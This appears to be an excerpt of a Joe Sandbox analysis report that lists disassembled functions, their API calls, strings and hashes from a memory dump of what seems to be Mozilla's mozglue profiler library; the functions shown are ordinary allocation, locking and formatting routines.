Opcode ID: 5d01f6dc354f3cac0fc5645db567147548e181ad6ce8cce6fe6bc46923b95a30
Instruction ID: d6eff1e39c8760b92116d23322eebceeb8c0d1ba2834551f8be9716755e22318
Opcode Fuzzy Hash: 5d01f6dc354f3cac0fc5645db567147548e181ad6ce8cce6fe6bc46923b95a30
Instruction Fuzzy Hash: 79416871E097099FCB08DF79E86119EBBE9EF85344F14863EE845ABB41EB309885C741

Function 6CA846E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA84721

Part of subcall function 6CA34410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CA73EBD,00000017,?,00000000,?,6CA73EBD,?,?,6CA342D2), ref: 6CA34444

Strings

profiler-paused, xrefs: 6CA846E4
-%llu, xrefs: 6CA84733
., xrefs: 6CA8476A

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 67587408e0f7362ccfad791b6af49f81a1ae1b575601d51ad1e33af6c6fe17f9
Instruction ID: 0f0bd5460b19e02862c60ffaaa234cec067d043f306c772761d083e495499b04
Opcode Fuzzy Hash: 67587408e0f7362ccfad791b6af49f81a1ae1b575601d51ad1e33af6c6fe17f9
Instruction Fuzzy Hash: EA312B71F052085FCF0CCF6DD89569DBBEADB88314F59853EE8059BB41E77498848B50

Function 6CA8B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA34290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA73EBD,6CA73EBD,00000000), ref: 6CA342A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA8B127), ref: 6CA8B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA8B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CA8B4E4

Strings

pid:, xrefs: 6CA8B4DE

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 43ea557f51428a117808ff59f62a5875290c64c7f1e5977c993f3fed4023c5aa
Instruction ID: 85bb1329faca69cdf7c375782bb0bb5de9f1537293a829a3f04ce5547d603b19
Opcode Fuzzy Hash: 43ea557f51428a117808ff59f62a5875290c64c7f1e5977c993f3fed4023c5aa
Instruction Fuzzy Hash: CB31E631A022099BDB00DFA9E881AAEB775BF05318F580619D85267B41D731A4C9CBA1

Function 6CA7E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA7E577
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7E584
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA7E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA7E722, 6CA7E750, 6CA7E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA7E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA7E826, 6CA7E850
MOZ_PROFILER_STARTUP, xrefs: 6CA7E5A1, 6CA7E5CC, 6CA7E5FF, 6CA7E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA7E777

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 59f1a63ad5117f8cbf626abef50f9fdcc2f8b2f6121027d580e199c1da081c92
Instruction ID: 4b9796c3a5e7ea2d4d06c7db3adf95836cf6167de375f7e6b8b670d9e5ed4447
Opcode Fuzzy Hash: 59f1a63ad5117f8cbf626abef50f9fdcc2f8b2f6121027d580e199c1da081c92
Instruction Fuzzy Hash: F411083D600349DFCB049F18C848B5AF7B8FB89318F04461DF84157660C770A846CBE9

Function 6CA80C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA80CD5

Part of subcall function 6CA6F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA6F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA80D40
free.MOZGLUE ref: 6CA80DCB

Part of subcall function 6CA55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA55EDB
Part of subcall function 6CA55E90: memset.VCRUNTIME140(6CA97765,000000E5,55CCCCCC), ref: 6CA55F27
Part of subcall function 6CA55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA55FB2

free.MOZGLUE ref: 6CA80DDD
free.MOZGLUE ref: 6CA80DF2

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 1a16a1c551a29a4a53cbb6ae606ea3c2f2fe909d5856bcc503bee5b2e407341a
Instruction ID: 1720d6c1b877f35a6edf0c98d60d7227bd1bd7353e4d72073834c0e43efeb561
Opcode Fuzzy Hash: 1a16a1c551a29a4a53cbb6ae606ea3c2f2fe909d5856bcc503bee5b2e407341a
Instruction Fuzzy Hash: 31413B7190A7848BD320CF29C14079AFBF5BFC5714F508A2EE8D887710D770A489CB92

Function 6CA8CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CA7DA31,00100000,?,?,00000000,?), ref: 6CA8CDA4

Part of subcall function 6CA4CA10: malloc.MOZGLUE(?), ref: 6CA4CA26

Part of subcall function 6CA8D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CA8CDBA,00100000,?,00000000,?,6CA7DA31,00100000,?,?,00000000,?), ref: 6CA8D158
Part of subcall function 6CA8D130: InitializeConditionVariable.KERNEL32(00000098,?,6CA8CDBA,00100000,?,00000000,?,6CA7DA31,00100000,?,?,00000000,?), ref: 6CA8D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CA7DA31,00100000,?,?,00000000,?), ref: 6CA8CDC4

Part of subcall function 6CA87480: ReleaseSRWLockExclusive.KERNEL32(?,6CA915FC,?,?,?,?,6CA915FC,?), ref: 6CA874EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CA7DA31,00100000,?,?,00000000,?), ref: 6CA8CECC

Part of subcall function 6CA4CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA4CAA2

Part of subcall function 6CA7CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CA8CEEA,?,?,?,?,00000000,?,6CA7DA31,00100000,?,?,00000000), ref: 6CA7CB57
Part of subcall function 6CA7CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CA7CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CA8CEEA,?,?), ref: 6CA7CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CA7DA31,00100000,?,?,00000000,?), ref: 6CA8D058

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 9063d6fac0eef61a942020b71fc55ae49b78a7698d620503479ed6372f25060a
Instruction ID: d46c40737b848ca49eaee58d81e2dd169b8a42e0d010b5f0aa3b5a97b37a3550
Opcode Fuzzy Hash: 9063d6fac0eef61a942020b71fc55ae49b78a7698d620503479ed6372f25060a
Instruction Fuzzy Hash: DDD16E71A05B469FD708CF28C580B99F7F1BF89308F05876DD8598B712EB31A9A5CB81

Function 6CA41720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CA417B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CA418EE
free.MOZGLUE(?), ref: 6CA41911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA4194C

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 8bafaffc5ca62ffac8544ce8ee83ea116b50c6b9d44f0ba2078d3df7cad353de
Instruction ID: c4d023815e917343e55b869139b2dc72a2d38fe622c65691cf7f61bf5c3c6642
Opcode Fuzzy Hash: 8bafaffc5ca62ffac8544ce8ee83ea116b50c6b9d44f0ba2078d3df7cad353de
Instruction Fuzzy Hash: 6E81C470A102159FDB08CFA8D8945AEBBB1FF89314F04852CE915AB751D730E899CBA1

Function 6CA55C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CA55D40
EnterCriticalSection.KERNEL32(6CABF688), ref: 6CA55D67
__aulldiv.LIBCMT ref: 6CA55DB4
LeaveCriticalSection.KERNEL32(6CABF688), ref: 6CA55DED

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 11b16fe61e62237e07c9163a3e0fb61cf82b3dcf48a5f54133a5fe08ef1c1348
Instruction ID: 8273316d4975168bc442244846ef1dcece189765bcd93b0302321b8bf306d322
Opcode Fuzzy Hash: 11b16fe61e62237e07c9163a3e0fb61cf82b3dcf48a5f54133a5fe08ef1c1348
Instruction Fuzzy Hash: 90516176E002568FCF08CFA8C854AAEBBB2FF85304F59C61DD811A7761D7306946CB90

Function 6CA3CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA3CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CA3CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CA3CF4E

Strings

0, xrefs: 6CA3CF30

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: c93478a6a8c81a486b9dbf51afcc64772d8245e42daa2c1ce736a323a97ad8bf
Instruction ID: c380b46c390c9bc7c92603591f55bc201a104e48b3f4df763cfbfbf372087bf9
Opcode Fuzzy Hash: c93478a6a8c81a486b9dbf51afcc64772d8245e42daa2c1ce736a323a97ad8bf
Instruction Fuzzy Hash: 12512775A002268FCB00CF18C8A0A96F7B5EF99304F29829DD8599F391D731ED46CBE0

Function 6CA977D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA977FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CA97829

Part of subcall function 6CA6CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CA331A7), ref: 6CA6CC45
Part of subcall function 6CA6CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CA331A7), ref: 6CA6CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA9789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA978CF

Part of subcall function 6CA34DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA34E5A
Part of subcall function 6CA34DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA34E97

Part of subcall function 6CA34290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA73EBD,6CA73EBD,00000000), ref: 6CA342A9

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 6a37867bd7c815c255bd39a627a307a8785d8e8b8242e22d96def121e20f53b8
Instruction ID: 6d086ff45e82a33403f5e57ce69d7946ced7e5dd5d2d4969eec56d755e29e685
Opcode Fuzzy Hash: 6a37867bd7c815c255bd39a627a307a8785d8e8b8242e22d96def121e20f53b8
Instruction Fuzzy Hash: 3441AD719147069BD300DF29D48056BFBF4FFCA258F204A2EE4A987650DB30D59ACB92

Function 6CA76470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CA782BC,?,?), ref: 6CA7649B

Part of subcall function 6CA4CA10: malloc.MOZGLUE(?), ref: 6CA4CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA764A9

Part of subcall function 6CA6FA80: GetCurrentThreadId.KERNEL32 ref: 6CA6FA8D
Part of subcall function 6CA6FA80: AcquireSRWLockExclusive.KERNEL32(6CABF448), ref: 6CA6FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA7653F
free.MOZGLUE(?), ref: 6CA7655A

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: e18aab589843d12a705226cdaa217ba99e9bb5132d13e776834cff7ec7808694
Instruction ID: 20b04b3c0e55f301b1f75c32c766d1408e3abc8e3adb0028f2925630b81a5716
Opcode Fuzzy Hash: e18aab589843d12a705226cdaa217ba99e9bb5132d13e776834cff7ec7808694
Instruction Fuzzy Hash: 2D3170B5A043059FD704CF14D984A9ABBF4FF89318F00852EF85A97751DB30E959CB92

Function 6CA6FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6CA8D019,?,?,?,?,?,00000000,?,6CA7DA31,00100000,?), ref: 6CA6FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6CA8D019,?,?,?,?,?,00000000,?,6CA7DA31,00100000,?,?), ref: 6CA6FFF5
free.MOZGLUE(?,?,?,?,?,6CA8D019,?,?,?,?,?,00000000,?,6CA7DA31,00100000,?), ref: 6CA7001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6CA8D019,?,?,?,?,?,00000000,?,6CA7DA31,00100000,?,?), ref: 6CA7002A

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 072b1eac57f6e1ff3b1c90e1a39db7bd2b4040d4084802e8159ac7894c12fded
Instruction ID: 8aea753ffbb83730683849dfe2615cf491d9054ae313e67c8c688c30413838d1
Opcode Fuzzy Hash: 072b1eac57f6e1ff3b1c90e1a39db7bd2b4040d4084802e8159ac7894c12fded
Instruction Fuzzy Hash: EC2108B2A002155FD7189F7DDCC44AFB7BAFB853243254738E425D7780EA319D4686E0

Function 6CA4B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA4B4F5
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA4B502
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA4B542
free.MOZGLUE(?), ref: 6CA4B578

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 0f28c3e42176f0729f48d5a5382eeedf96fb0162d246779a5d3f85b26a59e855
Instruction ID: 152b40d6099d00861732d0f27311e751fa435ad08f79c4f8508ba0e94fc11946
Opcode Fuzzy Hash: 0f28c3e42176f0729f48d5a5382eeedf96fb0162d246779a5d3f85b26a59e855
Instruction Fuzzy Hash: F4110238A04F06CBC7128F28E8003A5F3B0FF96318F18D70AE84A53A11EBB1B5D58795

Function 6CA73DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6CA3F20E,?), ref: 6CA73DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6CA3F20E,00000000,?), ref: 6CA73DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA73E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6CA73E0E

Part of subcall function 6CA6CC00: GetCurrentProcess.KERNEL32(?,?,6CA331A7), ref: 6CA6CC0D
Part of subcall function 6CA6CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6CA331A7), ref: 6CA6CC16

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: d5815c39a6e851c8ff81db9ee1e2b8fca1d625a2029c8760a848a1a88615a641
Instruction ID: 355c6017699eba3fa4548427268db575a8b0942e608980a5622d538f66655732
Opcode Fuzzy Hash: d5815c39a6e851c8ff81db9ee1e2b8fca1d625a2029c8760a848a1a88615a641
Instruction Fuzzy Hash: 39F082756003097BDB04AB94DC81DAB376DEB46628F044024FD0817700D636BD6A86FB

Function 6CA820B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA820B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6CA6FBD1), ref: 6CA820C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6CA6FBD1), ref: 6CA820DA
free.MOZGLUE(00000000,?,6CA6FBD1), ref: 6CA820F1

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 9b08df98e260a4777d0016d6fdcc78fb7dd6650540fd8e9d3c3a8442a8873bd4
Instruction ID: a41776fb57668c4182085c5325375771e3abd785b27fdb3cb05929af2c16dd61
Opcode Fuzzy Hash: 9b08df98e260a4777d0016d6fdcc78fb7dd6650540fd8e9d3c3a8442a8873bd4
Instruction Fuzzy Hash: F0E0E5756017158BC2209F25A84869EB7F9EF86214B14432AF44683B10D775B98A87D9

Function 6CA885B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6CA885D3

Part of subcall function 6CA4CA10: malloc.MOZGLUE(?), ref: 6CA4CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6CA88725

Strings

map/set<T> too long, xrefs: 6CA88720

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 785ff9ade3d190100fa374c508d98d529913f0a36e5f6afdebc86a33805d9ccd
